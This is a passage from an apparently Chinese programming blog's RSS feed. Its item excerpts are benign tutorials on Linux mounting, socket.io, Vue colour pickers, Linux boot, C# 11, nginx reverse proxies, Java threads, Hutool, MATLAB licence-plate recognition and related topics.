在计算机中，挂载（Mount）通常指将一个文件系统（如硬盘分区、光盘或NFS共享）连接到另一个系统的目录树上，使得该文件系统中的文件和目录可以被访问。具体来说，挂载可以将文件系统加入到Linux中的虚拟文件系统树中，使得用户可以使用标准的文件操作命令（如ls、cp、mv等）来访问文件系统中的数据。&#xA;在实际应用中，挂载的作用有以下几个方面：&#xA;扩展文件系统：通过将新的文件系统挂载到现有的目录中，可以扩展现有文件系统的容量。&#xA;访问远程文件系统：通过挂载远程文件系统，例如NFS、CIFS/SMB文件共享，可以在本地计算机上访问位于远程计算机上的文件。&#xA;分离文件系统：通过挂载和卸载文件系统，可以将不同的文件系统隔离开来，以便于管理和维护，也可以帮助隔离不同的应用程序或用户之间的文件系统。&#xA;简化文件管理：通过挂载，可以将不同的文件系统组织成一个逻辑文件树，并可以使用标准文件操作命令来访问其中的所有文件和目录，简化了文件管理操作。&#xA;总的来说，挂载是计算机中一个非常常见的操作，它可以将不同的文件系统组织成一个逻辑文件树，并将它们与应用程序所使用的目录进行连接，扩展了文件系统的存储能力，并且使得用户可以通过统一的界面来管理和访问文件系统中的数据。&#xA;一台机器里的多个容器之间共享数据（使用挂载） 首先我们可以使用最简单的docker cp命令复制文件给容器，来实现跟挂载相似的功能 [root@mysql html]# cat index.html #创建html文件 welcome to sc web!!! [root@mysql html]# [root@mysql html]# docker cp /html/index.</description>
    </item>
    <item>
      <title>WebSocket之socket.io的基本使用</title>
      <link>https://bchobby.github.io/posts/a50ee8b9b456df27e47126d7da25dff8/</link>
      <pubDate>Thu, 15 Jun 2023 14:42:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a50ee8b9b456df27e47126d7da25dff8/</guid>
      <description>Socket.IO 是一个WebSocket库，可以在客户端和服务器之间实现低延迟、双向和基于事件的通信。它建立在 WebSocket 协议之上，并提供额外的保证，例如回退到 HTTP 长轮询或自动重新连接。&#xA;基本使用 安装socket.io&#xA;yarn add socket.io&#xA;新建js文件与html文件内容如下&#xA;var http = require(&#39;http&#39;); var io = require(&#39;socket.io&#39;); var server = http.createServer((req,res)=&amp;gt;{ }); server.listen(2183); // 监听 connection io.listen(server).on(&#39;connection&#39;,(user)=&amp;gt;{ setInterval(()=&amp;gt;{ user.emit(&#39;test&#39;,&#39;哥们我主动来了&#39;+Math.random()); },1000); }); &amp;lt;!doctype html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; // 引用脚本，固定写法 &amp;lt;script type=&#34;text/javascript&#34; src=&#39;http://localhost:2183/socket.io/socket.io.js&#39;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; // 连接服务 let connection = io.connect(&#39;ws://localhost:2183&#39;); connection.on(&#39;test&#39;,(str)=&amp;gt;{ console.log(str) }) &amp;lt;/script&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 这个时候启动node后，浏览器打开html可以看到服务器推送的信息：&#xA;现在来看一下上面代码，&#xA;on(&#39;connection&#39;,(user)=&amp;gt;{&#xA;setInterval(()=&amp;gt;{&#xA;user.emit(&#39;test&#39;,&#39;哥们我主动来了&#39;+Math.random());&#xA;},1000);&#xA;})</description>
    </item>
    <item>
      <title>Vue中如何进行颜色选择与调色板</title>
      <link>https://bchobby.github.io/posts/07f3a52811b1039135832f79bd0d8b48/</link>
      <pubDate>Thu, 15 Jun 2023 11:26:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07f3a52811b1039135832f79bd0d8b48/</guid>
      <description>Vue中如何进行颜色选择与调色板 颜色选择和调色板是Web开发中常用的功能，它们可以帮助用户选择或调整颜色。Vue作为一个流行的JavaScript框架，提供了一些工具和库，可以方便地实现颜色选择和调色板功能。本文将介绍如何在Vue中进行颜色选择和调色板。&#xA;颜色选择 颜色选择是指用户从一组颜色中选择一个颜色的过程。在Vue中进行颜色选择可以使用以下两种方法：&#xA;1. 使用Vue的v-model指令 Vue的v-model指令可以将表单元素和Vue实例的数据绑定起来，从而实现双向数据绑定。在颜色选择中，我们可以使用v-model指令将颜色选择器和Vue实例的数据绑定起来。下面是一个使用v-model指令进行颜色选择的示例代码：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;input type=&#34;color&#34; v-model=&#34;color&#34;&amp;gt; &amp;lt;p&amp;gt;你选择的颜色是：{{ color }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { color: &#39;#000000&#39; } } } &amp;lt;/script&amp;gt; 在上面的代码中，我们使用了input[type=color]元素作为颜色选择器，并使用v-model指令将其与color数据进行双向绑定。当用户选择颜色时，color数据将会自动更新，并在页面上显示出来。&#xA;2. 使用vue-color库 vue-color是一个用于颜色选择的Vue组件库，它提供了多种颜色选择器和调色板，可以轻松地集成到Vue应用中。下面是一个使用vue-color库进行颜色选择的示例代码：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;sketch-picker v-model=&#34;color&#34; /&amp;gt; &amp;lt;p&amp;gt;你选择的颜色是：{{ color }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { SketchPicker } from &#39;vue-color&#39;; export default { components: { SketchPicker }, data() { return { color: { r: 0, g: 0, b: 0, a: 1 } } } } &amp;lt;/script&amp;gt; 在上面的代码中，我们使用了vue-color库中的SketchPicker组件作为颜色选择器，使用v-model指令将其与color数据进行双向绑定。当用户选择颜色时，color数据将会自动更新，并在页面上显示出来。</description>
    </item>
    <item>
      <title>Linux操作系统学习——启动</title>
      <link>https://bchobby.github.io/posts/1dd0050d5c294d403af60d655d0f591c/</link>
      <pubDate>Thu, 15 Jun 2023 09:43:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd0050d5c294d403af60d655d0f591c/</guid>
      <description>概要 Linux操作系统内核是服务端学习的根基，也是提高编程能力、源码阅读能力和进阶知识学习能力的重要部分，本文开始将记录Linux操作系统中的各个部分源码学习历程。&#xA;1. 理解代码的组织结构 以Linux源码举例，首先你得知道操作系统分为哪几个部分，他们单独做了什么功能，如何进行配合完成更为具体的功能。建立整体的印象有助于后续深入学习的时候方便理解，毕竟代码是用的不是看的，理解他的作用有利于理解为什么要这么做。&#xA;2. 深入各个模块学习 模块接口：这里推荐微软的画图工具visio或者思维导图xmind，用其画图可以将各个模块的接口列出，并绘制各个模块之间的关系，通过了解接口可以清楚各个模块之间的关系，即绘制模块组织图&#xA;工作流程：通过上面一步得到各模块间的关系，然后实际用断点或log等方式看一看整体的工作流程，在模块组织图的基础上绘制程序流程图&#xA;模块粘合层：我们的代码有很多都是用来粘合代码的，比如中间件（middleware）、Promises 模式、回调（Callback）、代理委托、依赖注入等。这些代码模块间的粘合技术是非常重要的，因为它们会把本来平铺直述的代码给分裂开来，让你不容易看明白它们的关系。这些可以作为程序流程图的补充，让其中本来无法顺畅衔接的地方变得通畅无阻。&#xA;模块具体实现 ：这是最难得地方，涉及到大量具体源码的学习。深入细节容易迷失在细节的海洋里，因此需要有一些重点去关注，将非重点的内容省略。通过学习绘制模块具体架构图和模块的算法时序图，可以帮助你更好的掌握源码的精髓。&#xA;3. 需要关注的包括 代码逻辑。代码有两种逻辑，一种是业务逻辑，这种逻辑是真正的业务处理逻辑；另一种是控制逻辑，这种逻辑只是用控制程序流转的，不是业务逻辑。比如：flag 之类的控制变量，多线程处理的代码，异步控制的代码，远程通讯的代码，对象序列化反序列化的代码等。这两种逻辑你要分开，很多代码之所以混乱就是把这两种逻辑混在一起了。&#xA;重要的算法。一般来说，我们的代码里会有很多重要的算法，我说的并不一定是什么排序或是搜索算法，可能会是一些其它的核心算法，比如一些索引表的算法，全局唯一 ID 的算法、信息推荐的算法、统计算法、通读算法（如 Gossip）等。这些比较核心的算法可能会非常难读，但它们往往是最有技术含量的部分。&#xA;底层交互。有一些代码是和底层系统的交互，一般来说是和操作系统或是 JVM 的交互。因此，读这些代码通常需要一定的底层技术知识，不然，很难读懂。&#xA;4. 可以忽略的包括 出错处理。根据二八原则，20% 的代码是正常的逻辑，80% 的代码是在处理各种错误，所以，你在读代码的时候，完全可以把处理错误的代码全部删除掉，这样就会留下比较干净和简单的正常逻辑的代码。排除干扰因素，可以更高效地读代码。&#xA;数据处理。只要你认真观察，就会发现，我们好多代码就是在那里倒腾数据。比如 DAO、DTO，比如 JSON、XML，这些代码冗长无聊，不是主要逻辑，可以不理。&#xA;忽略过多的实现细节。在第一遍阅读源码时，已弄懂整体流程为主，至于具体的实现细节先简单的理清处过一遍，不用过于纠结。当梳理清楚全部的框架逻辑后，第二遍再深入的学习研究各个模块的实现，此时应该解决第一遍中的疑惑。第三遍可以跳出代码的实现，来看Linux的设计思路、编程艺术和演进之路。&#xA;重在实践。Linux的代码都是可以调试的，看很多遍也许不如跟着调试走一遍，然后再自己修改修改做一些小测试。&#xA;传授知识。当你能将知识讲述给别人听，并让别人听懂时，你已经可以自豪的说洞悉了这些知识。所以不妨从一个小的例子开始自说自话，看能不能自圆其说，甚至写成博客、做成PPT给大家讲解。&#xA;说了一大堆的废话，下面就正式开始操作系统的深入学习记录之旅了。&#xA;5. 混沌初开 本文分析从按下电源键到加载BIOS以及后续bootloader的整个过程。犹如盘古开天辟地一般，该过程将混沌的操作系统世界分为清晰的内核态和用户态，并经历从实模式到保护模式的变化。这里先简单介绍一下名词，便于后续理解。&#xA;实模式（Real Mode)：又名 Real Address Mode，在此模式下地址访问的是真实地内存地址所在位置。在此模式下，可以使用20位（1MB）的地址空间，软件可以不受限制的操作所有地址的空间和IO设备。&#xA;保护模式（Protected Mode)：又名 Protected Virtual Address Mode，采用虚拟内存、页等机制对内存进行了保护，比起实模式更为安全可靠，同时也增加了灵活性和扩展性。&#xA;5.1 从启动电源到BIOS 当我们按下电源键，主板会发向电源组发出信号，接收到信号后，电源会提供合适的电压给计算机。当主板收到电源正常启动的信号后，主板会启动CPU。CPU重置所有寄存器数据，并设置初始化数据，这个初始化数据在X86架构里如下所示：&#xA;1IP 0xfff0 2CS selector 0xf000 3CS base 0xffff0000 4IP/EIP (Instruction Pointer) : 指令指针寄存器，记录将要执行的指令在代码段内的偏移地址 5CS（Code Segment Register）：代码段寄存器，指向CPU当前执行代码在内存中的区域（定义了存放代码的存储器的起始地址） 实模式采取内存段来管理 0 - 0xFFFFF的这1M内存空间，但是由于只有16位寄存器，所以最大地址只能表示为0xFFFFF（64KB)，因此不得不采取将内存按段划分为64KB的方式来充分利用1M空间。也就是上所示的，采取段选择子 + 偏移量的表示法。这种方法在保护模式中对于页的设计上也沿用了下来，可谓祖传的智慧了。具体的计算公式如下所示：</description>
    </item>
    <item>
      <title>C#11新特性学习</title>
      <link>https://bchobby.github.io/posts/e1530a35575c4e05456c5e85aa7c3ff1/</link>
      <pubDate>Thu, 15 Jun 2023 09:29:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1530a35575c4e05456c5e85aa7c3ff1/</guid>
      <description>目录&#xA;支持Json字符串&#xA;保留空格&#xA;支持内插字符&#xA;泛型属性&#xA;UTF-8 字符串字面量&#xA;列表模式&#xA;支持Json字符串 static void Main(string[] args) { // 无需转义符 处理 json 字符串 var json = &#34;&#34;&#34; { &#34;name&#34;: &#34;Andy&#34;, &#34;age&#34;: 18 } &#34;&#34;&#34;; Console.WriteLine(json); Console.ReadLine(); } 还支持 html 和 xml 原始字符串的使用，无需转义符&#xA;static void Main(string[] args) { // 无需转义符 处理 html 字符串 var json = &#34;&#34;&#34; &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;示例&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;我是标题&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt;我是段落。&amp;lt;/p&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &#34;&#34;&#34;; Console.WriteLine(json); Console.ReadLine(); } 保留空格 C# 11 保留原始字符串的空格及其位置</description>
    </item>
    <item>
      <title>将打开的网页批量保存为PDF（python）</title>
      <link>https://bchobby.github.io/posts/a9d94e43b29efe8da559aa21182b978a/</link>
      <pubDate>Thu, 15 Jun 2023 09:12:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9d94e43b29efe8da559aa21182b978a/</guid>
      <description>省力，但不多，需要安装python模块bs4和工具wkhtmltopdf&#xA;1. 在cmd运行以下命令安装bs4&#xA;pip install bs4 -i https://pypi.tuna.tsinghua.edu.cn/simple 2. 安装工具wkhtmltopdf，并将安装目录下的bin目录添加到环境变量&#xA;下载地址：https://wkhtmltopdf.org/downloads.html&#xA;文件管理器-此电脑右键属性-高级系统设置-环境变量-系统变量-变量path&#xA;3. 右键浏览器标签栏，将打开的网页全部保存到收藏夹然后导出&#xA;4. 编辑导出的html文件，只保留需要的链接&#xA;5. 将html文件和pdf.py放到同一个目录下，并在当前目录新建文件夹命名为pdf，注意更换代码中的html文件名（bookmarks.html）&#xA;# pdf.py from bs4 import BeautifulSoup import re import subprocess # 将html文件中链接的url和标题提取出来分别保存在urls.txt和titles.txt文件中，注意更换html文件名（bookmarks.html） # 读取 HTML 文件内容 with open(&#39;bookmarks.html&#39;, &#39;r&#39;, encoding=&#39;utf-8&#39;) as f: html_str = f.read() # 解析 HTML 字符串 soup = BeautifulSoup(html_str, &#39;html.parser&#39;) # 获取所有的链接列表 links = soup.find_all(&#39;a&#39;) # 将链接 URL 和标题保存到文件中 with open(&#39;urls.txt&#39;, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f1, open(&#39;titles.txt&#39;, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f2: for link in links: url = link.</description>
    </item>
    <item>
      <title>【linux】在Ubuntu下部署nginx——nginx的反向代理</title>
      <link>https://bchobby.github.io/posts/f634642fa1c30db386f1248174417ac6/</link>
      <pubDate>Wed, 14 Jun 2023 21:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f634642fa1c30db386f1248174417ac6/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！&#xA;本篇文章是小编记录Linux的系统学习&#xA;目录&#xA;一、什么是代理服务器&#xA;二、正向代理&#xA;1、什么是正向代理&#xA;2、正向代理的作用&#xA;三、反向代理&#xA;1、什么是反向代理&#xA;2、反向代理的作用&#xA;注意：&#xA;四、Nginx的配置&#xA;1、配置文件包含的六个部分：&#xA;2、大概解释一下各个模块的代码意思：&#xA;1）main模块&#xA;2）event 模块&#xA;3）http模块&#xA;4）server模块&#xA;5）location模块&#xA;3、uwsgi配置&#xA;6）upstream模块&#xA;五、反向代理的操作步骤&#xA;第一步：修改配置文件&#xA;第二步：将上图红框位置改为要代理的地址&#xA;第三步：让配置文件生效&#xA;第四步：IP地址加端口号访问（ip+port）&#xA;一、什么是代理服务器 代理服务器（Proxy Server），也称代理或代理器，是一种充当客户端与上游服务器之间的中间层服务器，用于转发客户端请求的服务器。&#xA;代理服务器的作用是扮演中间人的角色，隐藏客户端的真实 IP 地址，同时对客户端的请求进行代理，使得客户端能够通过代理服务器访问 Internet 上的资源，提高了访问的安全性、可靠性和速度。&#xA;代理服务器，客户机在发送请求时，不会直接发送给目的主机，而是先发送给代理服务器，代理服务接受客户机请求之后，再向主机发出，并接收目的主机返回的数据，存放在代理服务器的硬盘中，再发送给客户机。&#xA;二、正向代理 1、什么是正向代理 正向代理（Forward Proxy），是指代理服务器代理客户端的请求，从而使客户端无法直接访问所需资源。简而言之，正向代理是代表客户端进行访问的中间层服务器，可以控制客户端的访问行为，隐藏客户端的真实 IP 地址和身份。&#xA;正向代理类似一个跳板机，代理访问外部资源。比如我们国内访问谷歌，直接访问访问不到，我们可以通过一个正向代理服务器，请求发到代理服，代理服务器能够访问谷歌，这样由代理去谷歌取到返回数据，再返回给我们，这样我们就能访问谷歌了&#xA;2、正向代理的作用 （1）访问原来无法访问的资源，如google (翻墙)&#xA;（2）可以做缓存，加速访问资源&#xA;（3）对客户端访问授权，上网进行认证&#xA;（4）代理可以记录用户访问记录（上网行为管理），对外隐藏用户信息&#xA;三、反向代理 1、什么是反向代理 反向代理（Reverse Proxy），是指代理服务器代理服务端的请求和响应，从而使服务端无法直接被客户端访问到。简而言之，反向代理是代表服务端进行访问的中间层服务器，可以控制服务端的访问行为，隐藏服务端的真实 IP 地址和身份。&#xA;反向代理（Reverse Proxy）实际运行方式是指以代理服务器来接受internet上的连接请求，然后将请求转发给内部网络上的服务器，并将从服务器上得到的结果返回给internet上请求连接的客户端，此时代理服务器对外就表现为一个服务器。&#xA;客户端不需要任何配置就能访问，只需要将请求发送到 反向代理服务器，由反向代理服务器去选择目标服务器 ，获取数据后再返回给客户端。对外就一个服务器，暴露的是反向代理服务器地址，隐藏了真实服务器IP地址。代理对象是服务端，不知道客户端是谁。&#xA;2、反向代理的作用 （1）防止攻击：保证内网的安全，阻止web攻击，大型网站，通常将反向代理作为公网访问地址，Web服务器是内网&#xA;（2）负载均衡：可以将客户端的请求分配给多台服务端，从而均衡服务端的负载，提高系统的可用性和性能（通过反向代理服务器来优化网站的负载，提高网站的可用性和性能）&#xA;（3）访问控制：可以根据访问者的身份和权限对资源进行权限控制，防止资源被未授权的用户访问</description>
    </item>
    <item>
      <title>Java中Thread类的基本用法</title>
      <link>https://bchobby.github.io/posts/4529d33f30b280e41c8e57f1cba54fb7/</link>
      <pubDate>Wed, 14 Jun 2023 20:15:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4529d33f30b280e41c8e57f1cba54fb7/</guid>
      <description>目录&#xA;一、创建线程的方式&#xA;1、继承Thread类&#xA;2、实现Runnable接口&#xA;3、匿名内部类中创建Thread子类对象&#xA;4、匿名内部类中创建Runnable子类对象&#xA;5、lambda表达式创建Runnabl子类对象&#xA;二、Thread的常见构造方法&#xA;三、启动一个线程&#xA;四、获取当前线程 五、等待一个线程&#xA;六、休眠当前线程&#xA;七、中断当前线程&#xA;线程中断的方法：&#xA;一、创建线程的方式 1、继承Thread类 创建一个自定义的线程类并继承标准库中的Thread类：&#xA;class MyThread extends Thread{ @Override //重写父类的run方法 public void run() { System.out.println(&#34;这是继承Thread类创建的线程&#34;); } } public class Thread1 { public static void main(String[] args) { //创建实例 MyThread thread = new MyThread(); //调用start方法后才会在系统上创建一个线程 thread.start(); } } 其中，重写父类的run()方法是给MyThread类创建的线程安排任务，main()方法中创建一个MyThread实例后，调用父类的start()方法，新创建的线程就会执行子类的run()方法中的逻辑(此处发生了动态绑定)。&#xA;代码运行结果：&#xA;2、实现Runnable接口 class MyThread2 implements Runnable{ @Override public void run() { System.out.println(&#34;这是实现Runnable接口创建的线程&#34;); } } public class Thread2 { public static void main(String[] args) { Runnable runnable = new MyThread2(); //需要将Runnable实例作为Thread构造方法的参数 Thread thread = new Thread(runnable); thread.</description>
    </item>
    <item>
      <title>干掉复杂的工具类，Hutool 工具库确实香</title>
      <link>https://bchobby.github.io/posts/9488acc4a19e5299b494b0abc71d5898/</link>
      <pubDate>Wed, 14 Jun 2023 18:01:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9488acc4a19e5299b494b0abc71d5898/</guid>
      <description>Hutool 大家已经比较熟悉了，这是一个超全的 Java 工具库，深受国内开发者的喜爱。&#xA;我之前其实是不太喜欢使用这种功能太多的工具类的，也比较担心稳定性和安全性，后面慢慢接受了就感觉其实也还好。而且，我们还可以按需只引入自己需要的功能模块，相对也比较灵活。&#xA;Hutool 的官方文档介绍的已经比较清晰了，奈何其提供的功能实在太多，我这里列举一些我个人觉得比较实用的功能，供大家学习参考。&#xA;Hutool 介绍 Hutool 真心是一个不错的国产 Java 工具类库，功能全面，对文件、流、加密解密、转码、正则、线程、XML 等 JDK 方法进行了封装，开箱即用！&#xA;官方是这样介绍 Hutool 的：&#xA;Hutool 介绍&#xA;Hutool 包含的组件以及组件提供的功能如下表所示：&#xA;Hutool 包含的组件&#xA;你可以根据项目需求对每个模块单独引入，也可以通过引入hutool-all方式引入所有模块。不过，还是不建议引入所有模块，因为绝大部分功能项目可能都用不上，建议只引入你需要的模块。&#xA;另外，Hutool 也有一个比较明显的缺点，很多功能实现的比较简单比如图片验证码、Excel 工具类，很可能无法满足项目的实际需求。像这样情况，还是建议你选择在某一方面更优秀的工具库比如 Excel 工具库 MyExcel、EasyExcel、图片处理库 Imglib。&#xA;Hutool 实战 引入依赖 Maven 仓库地址：https://mvnrepository.com/artifact/cn.hutool 。&#xA;这里为了方便，我们直接引入所有模块，实际项目中还是建议只引入自己需要的模块。&#xA;Maven：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.hutool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hutool-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.8.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; Gradle：&#xA;implementation &#39;cn.hutool:hutool-all:5.8.16&#39; 功能演示 Hutool 提供的功能实在太多，这里只列举一些我个人觉得比较实用的功能，供大家学习参考。&#xA;类型转换&#xA;Convert 类封装了针对 Java 常见类型的转换。&#xA;long[] b = {1,2,3,4,5}; String bStr = Convert.toStr(b);//&#34;[1, 2, 3, 4, 5]&#34; double a = 67556.</description>
    </item>
    <item>
      <title>基于MATLAB的车牌识别</title>
      <link>https://bchobby.github.io/posts/a9face04866164dc9d325c302823a6e3/</link>
      <pubDate>Wed, 14 Jun 2023 17:42:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9face04866164dc9d325c302823a6e3/</guid>
      <description>目录&#xA;车牌识别系统的介绍与展示 车牌定位&#xA;1.灰度处理&#xA;2.边缘检测 车牌分割&#xA;1.图像腐蚀&#xA;2.图像平滑&#xA;3.移除对象&#xA;4.图像切割&#xA;车牌识别&#xA;1.灰度处理&#xA;2.直方图均衡化&#xA;3.二值化&#xA;4.中值滤波&#xA;5.字符识别&#xA;车牌识别系统的介绍与展示 车牌识别技术的推广普及对加强道路管理、城市交通事故、违章停车、处理车辆被盗案件、保障社会稳定等方面有非常重大的影响。恰逢今年学习了《数字图像处理》课程，利用一些数字图像处理的知识并借鉴网络上诸多算法开发了一个车牌识别系统，并且借用MATLAB的APP designer平台搭建了一个车牌识别的app。（此app目前对一部分图片可以准确识别，但是其他图片效果一般，正在持续改进中......如有进展，后续会进行更新）&#xA;一个完整的车牌号识别系统要完成从图像采集到字符识别输出，过程相当复杂，基本可以分成硬件部分和软件部分，硬件部分包括系统触发、图像采集，软件部分一般包括车牌定位、车牌分割和车牌识别三个部分。本文主要介绍软件处理部分，下面是一个车牌识别后的运行结果图：&#xA;车牌定位 1.灰度处理 由于彩色图不易确定车牌边界，将彩色图转换为灰度图以进一步处理图片。这里使用了rgb2gray函数，该函数接收一个rgb图像变量作为参数，返回该图像转换为灰度图后的图像数据，并将该数据赋值给变量I1。&#xA;若想得到该灰度图的灰度分布情况，可使用imhist函数画出该灰度图的灰度值分布直方图。（此处不再展示）&#xA;%% 灰度处理 img1 = rgb2gray(img); % RGB图像转灰度图像 figure; subplot(1, 2, 1); imshow(img1); title(&#39;灰度图像&#39;); subplot(1, 2, 2); imhist(img1); title(&#39;灰度处理后的灰度直方图&#39;); 2.边缘检测 在将彩色图转换为灰度图后，便可用edge函数识别该图像的边界，edge函数通过使用一阶导数和二阶导数检测亮度的不连续来确定图像的边界，它可以使用Sobel,Prewitt,Roberts,Canny,LoG,零交叉等多种算子，这里使用Roberts算子进行边缘检测。&#xA;%% 边缘检测 img4 = edge(img1, &#39;roberts&#39;, 0.15, &#39;both&#39;); figure(&#39;name&#39;,&#39;边缘检测&#39;); imshow(img4); title(&#39;roberts算子边缘检测&#39;); 车牌分割 1.图像腐蚀 由于边缘检测后的图像中无关结构太多，这里需对图像进行腐蚀处理，实现腐蚀处理的函数为imerode，它接收一个图像数据和一个结构子，图像中背景与结构子完全重合的像素点输出值为1，不完全重合的和完全不重合的像素点输出值为0，最后返回使用该结构子腐蚀过后的图像数据，以此实现削减无关结构的目的。&#xA;%% 图像腐蚀 se=[1;1;1]; img5 = imerode(img4, se); figure(&#39;name&#39;,&#39;图像腐蚀&#39;); imshow(img5); title(&#39;图像腐蚀后的图像&#39;); 2.图像平滑 腐蚀后的图像结构大多呈分散状分布，不连贯。为了方便之后确认车牌位置，这里需对该图像进行平滑处理，在此我们使用闭操作使车牌平滑，并减小噪音，闭操作可以理解为先膨胀后腐蚀，实现函数为imclose。</description>
    </item>
    <item>
      <title>记录一下js中substring方法</title>
      <link>https://bchobby.github.io/posts/b2d31f1fa22bd1005e22bdf041fef3f9/</link>
      <pubDate>Wed, 14 Jun 2023 17:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2d31f1fa22bd1005e22bdf041fef3f9/</guid>
      <description>1、介绍&#xA;substring方法用于从一个字符串中提取一个子的字符串；&#xA;2、用法&#xA;stringObject.substring(start,stop)； 3、参数介绍&#xA;start（必填）：要提取的子字符串，在原始字符串中的起始位置；&#xA;stop（可选）：要提取的子字符串，在原始字符串中的结束位置；&#xA;注意事项：起始包含start，但是结束不包含stop；如果不填写stop，那么要提取的子字符串就是从start开始，到原始字符串的最后一个字符；&#xA;（要记住下标是从0开始，而非从1开始）&#xA;4、例子&#xA;1、只有一个参数的例子&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var str=&#34;Hello world!&#34; document.write(str.substring(3)) &amp;lt;/script&amp;gt; 输出：lo world!&#xA;2、包含两个参数的例子&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var str=&#34;Hello world!&#34; document.write(str.substring(3，5)) &amp;lt;/script&amp;gt; 输出：lo</description>
    </item>
    <item>
      <title>物联网工程施工心得</title>
      <link>https://bchobby.github.io/posts/1e0205389c9e89b8284609a0c07d3dcf/</link>
      <pubDate>Wed, 14 Jun 2023 17:33:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e0205389c9e89b8284609a0c07d3dcf/</guid>
      <description>单片机又称单片微控制器，它不是完成某一个逻辑功能的芯片，而是把一个计算机系统集成到一个芯片上。概括的讲：一块芯片就成了一台计算机。它的体积小、质量轻、价格便宜、为学习、应用和开发提供了便利条件。同时，学习使用单片机是了解计算机原理与结构的最佳选择。而STM32是意法半导体（ST）推出一款32位的单片机。STM32具有超低的价格、超多的外设、丰富的型号、优异的实时性、极低的开发成本等优势。STM32凭借其产品线的多样化、极高的性价比、简单易用的库开发方式，迅速在众多32位单片机中脱颖而出。&#xA;在我们学习的过程中第一步就是要新建一个工程文件，然后选择我们需要的cpu就完成我们的框架建立，我们还需要添加启动文件和.c文件等。这些文件我们需要在官方文件库里面或在网上寻找，来获取帮助。&#xA;然后将一个一个的文件复制回我们自己建的工程文件里并将复制来的文件添加到工程去算完成准备工作了。&#xA;接下来从简单的开始学习点亮led灯，在按下某个按钮后，要能使发光二极管发亮，而我们在对led输出高低电平时，我们还需要设置寄存器对引脚进行初始化处理，才能使引脚具备有数字输入和输出输出功能，可以发现，多出了一个工具条，这就是 Debug 工具条，这个工具条在我们仿真的时候是非 常有用的，下面简单介绍一下 Debug 工具条相关按钮的功能。Debug 工具条部分按钮的功能如 Debug 工具条 复位：其功能等同于硬件上按复位按钮。相当于实现了一次硬复位。按下该按钮之后，代 码会重新从头开始执行。 执行到断点处：该按钮用来快速执行到断点处，有时候你并不需要观看每步是怎么执行的， 而是想快速的执行到程序的某个地方看结果，这个按钮就可以实现这样的功能，前提是你在查 看的地方设置了断点&#xA;而后就是学习更深层次的知识，我们学会定时器的使用，就能够用单片机实现时序电路，时序电路的功能是强大的，在工业、家用电气设备的控制中有很多应用，例如，能够用单片机实现一个具有一个按钮的楼道灯开关，该开关在按钮按下一次后，灯亮3分钟后自动灭，当按钮连续按下两次后，灯常亮不灭，当按钮按下时间超过2s，则灯灭。数字集成电路能够实现时序电路，可编程逻辑器件（PLD）能够实现时序电路，可编程控制器（PLC）也能够实现时序电路，可是仅有单片机实现起来最简单，成本最低。定时器的使用是十分重要的，逻辑加时间控制是单片机使用的基础。&#xA;在学习过程中很单调，有些知识学起来很抽象，不容易理解，只能慢慢适应，一边学习理论知识，一边编写程序，将程序刷入单片机进行调试，刚开始编程序时喜欢套用书上的语句，却对语句的理解不够。于是当程序出现问题时，不知道如何修改，眼前的程序都是一块一块的被拼凑整合起来的，没法知道哪里错了。但是编程是一件很严肃的事情，容不得半点错误。在错误中不断摸索中前行。在开始时感觉很吃力，在这其中基础知识掌握牢固是非常重要的，然后在学习过程中要学会提问题和自己解决问题，慢慢的对于学习单片机你也会产兴趣。虽然在开始学习单片机时感觉很青涩，但只要坚定自己的学习信心，在付出持之以恒的努力，我相信自己能进一步加深对单片机的了解，在单片机的学习道路上走得更远！</description>
    </item>
    <item>
      <title>Vue项目中各个文件夹意思</title>
      <link>https://bchobby.github.io/posts/b440c343c0fc4d556ca58f27281624c2/</link>
      <pubDate>Wed, 14 Jun 2023 16:20:12 +0800</pubDate>
